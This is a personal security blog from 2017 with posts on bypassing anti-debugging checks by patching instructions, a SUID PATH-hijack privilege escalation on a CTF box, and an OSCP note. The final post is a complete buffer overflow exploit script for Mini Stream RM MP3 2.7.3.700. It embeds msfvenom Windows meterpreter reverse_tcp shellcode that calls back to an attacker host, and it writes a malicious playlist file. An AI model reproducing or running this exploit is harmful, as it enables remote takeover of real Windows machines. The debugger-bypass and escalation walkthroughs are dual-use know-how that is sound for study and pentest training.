Friday, 20 October 2017

Anti Reverse Engineering Mechanism and its Bypass - Part-3 - FindWindowAPI

This is Part 3 of the Anti Reverse Engineering Mechanism Series. Here we will discuss about FindWindow API and how we can bypass the check.

https://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx

This function retrieves the top window level handle whose classname and window name match any specified string.
So if the name matches it returns a handle, else it returns null.

There is a tool called WinLister which you can find out the ClassName, Handler , Location , etc. So if you have Ollydbg already running this is what you would see


So if I would start Immunity Debugger and IDA Pro , this is what you would see as well ..


So the code to detect these we can write a code like this which tells if there is a debugger attached or not

Now let us have a look behind the scene by loading in OllyDdb.


At first we will investigate what is going inside the FindWindowAPI , so let us step inside the function call

Next we will do investigation inside the function call on line 10 , CALL USER32.7E42C962. We will step inside this function call
So after analyzing this code we can confirm that this code the value of the handler if the string search is successful, we can verify it by comparing the value of EAX after it exits with the value listed in the WINLISTER application



Now if we come back to the main code execution we will see a comparison at line 12. As we discussed earlier , the application will return NULL/Zero if no match found or if there was no window name available. So lets analyze what is happening
MOV DWORD PTR SS:[EBP-8],EAX - This pushes the EAX value containing the Handler Value to Stack Segement CMP DWORD PTR SS:[EBP-8],0 - This checkes if the value in Stack Segment is 0 or not The Jump would take based on the comparison. This similar to the IF condition if (olly)
Now how would we bypass it ? What we have to do is little bit of patching in the code , we would patch the instruction just after CALL USER32.7E42C962 , with XOR EAX,EAX followed by the same instructions. This will make the value of EAX to 0. So whatever the function returns, the value of EAX will always be set to 0


Old Instruction Sets
CALL USER32.7E42C962
POP EBP
RETN 8

New Instruction Sets
CALL USER32.7E42C962
XOR EAX, EAX
POP EBP
RETN 8

References :
https://www.codeproject.com/Articles/30815/An-Anti-Reverse-Engineering-Guide#OllyFindWindow
https://www.youtube.com/watch?v=mceey3ZOxBs&list=PLDDgCVPL60zigbZmnNIj-l7fA4rEQThH0&index=3

Anti Reverse Engineering Mechanism and its Bypass - Part-2 - CheckRemoteDebuggerPresent()

This Part 2 of the Anti Reverse Engineering Mechanism Series. Here we will discuss about CheckRemoteDebuggerPresent API and how we can bypass the check.

Let us have a look at the implementation
So checkRemoteDebuggerAPI return a Non Zero Value if successful else it returns a Zero if no debugger detected.

if(IsDbgPresent) => True => Non Zero Value => Debugger Found!
if(IsDbgPresent) => False=> Zero => No Debugger Found!

So to bypass this we need to do the following

1. Give a breakpoint at CheckRemoteDebuggerPresent


2. Now we will step inside the code of CheckRemoteDebuggerApi

3. Now we will change instruction at 23. We will convert the CMP instruction to MOV instruction. I will explain it later why I will change it. Please note while we are doing this change the EAX value is 0 because in line 22 we are doing a XOR EAX, EAX, So here is the modification.
OLD =  7C85AB26 3945 08 CMP DWORD PTR SS:[EBP+8],EAX
NEW = 7C85AB26 3945 08 MOV DWORD PTR SS:[EBP+8],EAX

4. Now we will step through the functions till it exits the function and come to the actual code.


Now if you see , line 3 there is comparison again. So this DWORD PTR SS:[EBP-C] refers to the same stack segment where we did the change in instruction from CMP DWORD PTR SS:[EBP+8], EAX to MOV DWORD PTR SS:[EBP+8], EAX.  So this instruction actually pushed the value 0 to the stack segment which used to hold some non-zero value. So after coming out of the CheckRemoteDebuggerAPI this value i.e ( Zero ) is present in the SS:[EBP-C]. So the comparison of CMP DWORD PTR SS:[EBP-C],0 will lead the message box having message that "no debugger found". This condition is the IF condition of the C++ code which decides the flow based on the value returned to IsDbgPresent



Reference : https://www.codeproject.com/Articles/670193/Csharp-Detect-if-Debugger-is-Attached

Anti Reverse Engineering Mechanism and its Bypass - Part-1 - IsDebuggerPresent()

It is possible to understand the workflow and behaviour of the application by using a hooking the application to a debugger. To ensure that someone cannot perform these kind of activities anti-reverse engineering mechanism are being used. In these series of blog posts we will see what are the various kinds of anti reverse engineering mechanism that are available and how we can bypass those mechanism and patch those applications.


IsDebuggerPresent()

This function is used to check if a debugger is attached to a current process that is running. Lets see a simple code that can be used to implement this api call.

So if you run this code without any debugger attached it would return a value 0


 and if you attach a debugger to executable and use it , then it would return 1.


Let us load the process in our Debugger and find how the code works internally



Now we will examine the disassembled code of the API call IsDebuggerPresent()

So what is basically happening over here ?
But before that let us have a look at the PEB data structure

1st line MOV EAX,DWORD PTR FS:[18] moves the address of the running kernel specific running process to EAX register
2nd line MOV EAX,DWORD PTR DS:[EAX+30] moves the address of the PEB block to EAX register
3rd line MOVZX EAX,BYTE PTR DS:[EAX+2] moves the value from the member BeingDebugged from the PEB data structure which is the 3rd Byte in the  struct _PEB to EAX register

Patching for Bypass

 We can patch this by replacing the value at DS:[EAX+2] by 0


Saturday, 1 July 2017

OSCP Certified!!

The OSCP Journey is one of the memorable journey I had till now ... It was a journey where I went through "Pain" and "Sufferance".

I registered for  the course in the month on March and I took 60 days of Lab.

After 3 months of continuous effort I decided to sit for the exam on 23rd June

I had my exams on 23rd June and I got my results on 27th June



Monday, 19 June 2017

Simple PHP Web Shells






This tutorial should be used for educational purpose only. I won't be responsible if you misuse this techniques and get yourself in trouble.
During pentest activities I have noticed that there are multiple ways to execute system commands in php. This comes handy if something is blocked / blacklisted. Here are few simple one liner web shells

Saturday, 3 June 2017

Linux Privilege Escalation : SUID Binaries

After my OSCP Lab days are over I decided to do a little research and learn more on Privilege Escalation as it is my weak area.So over some series of blog post I am going to share with you some information of what I have learnt so far. The methods mentioned over here are not my own. This is something what I have learnt by reading articles, blogs and solving CTFs

SUID - Set User ID

The binaries which has suid enabled, runs with elevated privileges. Suppose you are logged in as non root user, but this suid bit enabled binaries can run with root privileges.

How does a SUID Bit enable binary looks like ?

-r-sr-x---  1 hack-me-bak-cracked hack-me-bak         7160 Aug 11  2015 bak


How to find all the SUID enabled binaries ?

hack-me-bak2@challenge02:~$ find / -perm -u=s 2>/dev/null

/bin/su
/bin/fusermount
/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/sudoedit
/usr/bin/mtr
/usr/bin/at
/usr/sbin/uuidd
/usr/sbin/pppd
/challenge/hack-me/bak2/bak2

Can this be used to elevate the privileges ?

Lets have a look at the source code

#include <stdlib.h>
#include <stdio.h>

/* gcc -m32 -o bak bak.c */

int main(void)
{
        system("ls /challenge/hack-me/bak/.passwd");
        return 0;
}

If I look at the permission of .passwd file , it is

-r--r-----  1 hack-me-bak-cracked hack-me-bak-cracked   14 Feb  8  2012 .passwd

You can see that I dont have any rights to view the file

No I am going to create a directory in temp and create a symbolic link to /bin/cat as ls and then export the PATH to that directory.


hack-me-bak@challenge02:/tmp/hack$ ln -s /bin/sh ls

hack-me-bak@challenge02:/tmp/suid$ export PATH=/tmp/suid

hack-me-bak@challenge02:/tmp/suid$ cd ~

hack-me-bak@challenge02:~$ ./bak

xh9ws32d

What did just happen ?

I created a symbolic link of  the /bin/cat and named it as "ls" and then I added the PATH to /tmp/suid. Now when the binary will be executed , it will look for "ls" in the PATH. So my PATH now points to "/tmp/suid". And the "ls" points to /bin/cat

So when the c executable executes the line ls /challenge/hack-me/bak/.passwd, it does the following /bin/cat  /challenge/hack-me/bak/.passwd

But as it is a SUID binary, it will run with elevated privileges, so I can read the contents of the .passwd file even if I did not have enough privileges.




Thursday, 1 June 2017

Mini Stream RM MP3 2.7.3.700 Buffer Overflow

# Exploit Title: Mini Stream RM MP3 2.7.3.700 Buffer Overflow
# Date: 31.05.2017
# Exploit Author: Dibyendu Sikdar (dibsyhex)
# Vendor Homepage: http://www.downloadsource.net/5318/Mini-stream-RM-MP3-Converter-Easy-RM-to-MP3-Converter/
# Software Link: https://www.exploit-db.com/apps/1bbf03ec57b1ad30970362518e073215-Mini-streamRM-MP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 Home Basic 32 bit

# Save the file as exploit.py
# Run the code as python exploit.py
# It will create a file with the exploit called play.m3u
# Run a meterpreter handler in attacker system
# Start the application. Select load. Select filetype as playlist. Open the play.m3u file

#EIP = 1001B058  [ using PUSH ESP, RETN ]

head = "A" * 35055
nop = "\x90" * 60
eip = "\x58\xB0\x01\x10"

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.130 LPORT=443 -f c -b "\x00\x0a\x0d"

shell = ("\xd9\xc0\xd9\x74\x24\xf4\x5f\xb8\xad\xaf\xba\x08\x31\xc9\xb1"
"\x54\x31\x47\x18\x03\x47\x18\x83\xef\x51\x4d\x4f\xf4\x41\x10"
"\xb0\x05\x91\x75\x38\xe0\xa0\xb5\x5e\x60\x92\x05\x14\x24\x1e"
"\xed\x78\xdd\x95\x83\x54\xd2\x1e\x29\x83\xdd\x9f\x02\xf7\x7c"
"\x23\x59\x24\x5f\x1a\x92\x39\x9e\x5b\xcf\xb0\xf2\x34\x9b\x67"
"\xe3\x31\xd1\xbb\x88\x09\xf7\xbb\x6d\xd9\xf6\xea\x23\x52\xa1"
"\x2c\xc5\xb7\xd9\x64\xdd\xd4\xe4\x3f\x56\x2e\x92\xc1\xbe\x7f"
"\x5b\x6d\xff\xb0\xae\x6f\xc7\x76\x51\x1a\x31\x85\xec\x1d\x86"
"\xf4\x2a\xab\x1d\x5e\xb8\x0b\xfa\x5f\x6d\xcd\x89\x53\xda\x99"
"\xd6\x77\xdd\x4e\x6d\x83\x56\x71\xa2\x02\x2c\x56\x66\x4f\xf6"
"\xf7\x3f\x35\x59\x07\x5f\x96\x06\xad\x2b\x3a\x52\xdc\x71\x52"
"\x97\xed\x89\xa2\xbf\x66\xf9\x90\x60\xdd\x95\x98\xe9\xfb\x62"
"\xdf\xc3\xbc\xfd\x1e\xec\xbc\xd4\xe4\xb8\xec\x4e\xcd\xc0\x66"
"\x8f\xf2\x14\x12\x8a\x64\x57\x4b\x8a\xf6\x3f\x8e\xb3\xf7\x04"
"\x07\x55\xa7\x2a\x48\xca\x07\x9b\x28\xba\xef\xf1\xa6\xe5\x0f"
"\xfa\x6c\x8e\xa5\x15\xd9\xe6\x51\x8f\x40\x7c\xc0\x50\x5f\xf8"
"\xc2\xdb\x6a\xfc\x8c\x2b\x1e\xee\xf8\x4d\xe0\xee\xf8\xe7\xe0"
"\x84\xfc\xa1\xb7\x30\xfe\x94\xf0\x9e\x01\xf3\x82\xd9\xfd\x82"
"\xb2\x92\xcb\x10\xfb\xcc\x33\xf5\xfb\x0c\x65\x9f\xfb\x64\xd1"
"\xfb\xaf\x91\x1e\xd6\xc3\x09\x8a\xd9\xb5\xfe\x1d\xb2\x3b\xd8"
"\x69\x1d\xc3\x0f\xea\x5a\x3b\xcd\xce\xc2\x54\x2d\x4e\xf3\xa4"
"\x47\x4e\xa3\xcc\x9c\x61\x4c\x3d\x5c\xa8\x05\x55\xd7\x3c\xe7"
"\xc4\xe8\x15\xa9\x58\xe8\x99\x72\x8c\x67\x5e\x85\xb1\x89\x63"
"\x53\x88\xff\xa4\x67\xaf\xf0\x9f\xca\x86\x9a\xdf\x59\xd8\x8e")

f = open("play.m3u","w")
payload = head+eip+nop+shell+"C"*200
f.write(payload)
f.close()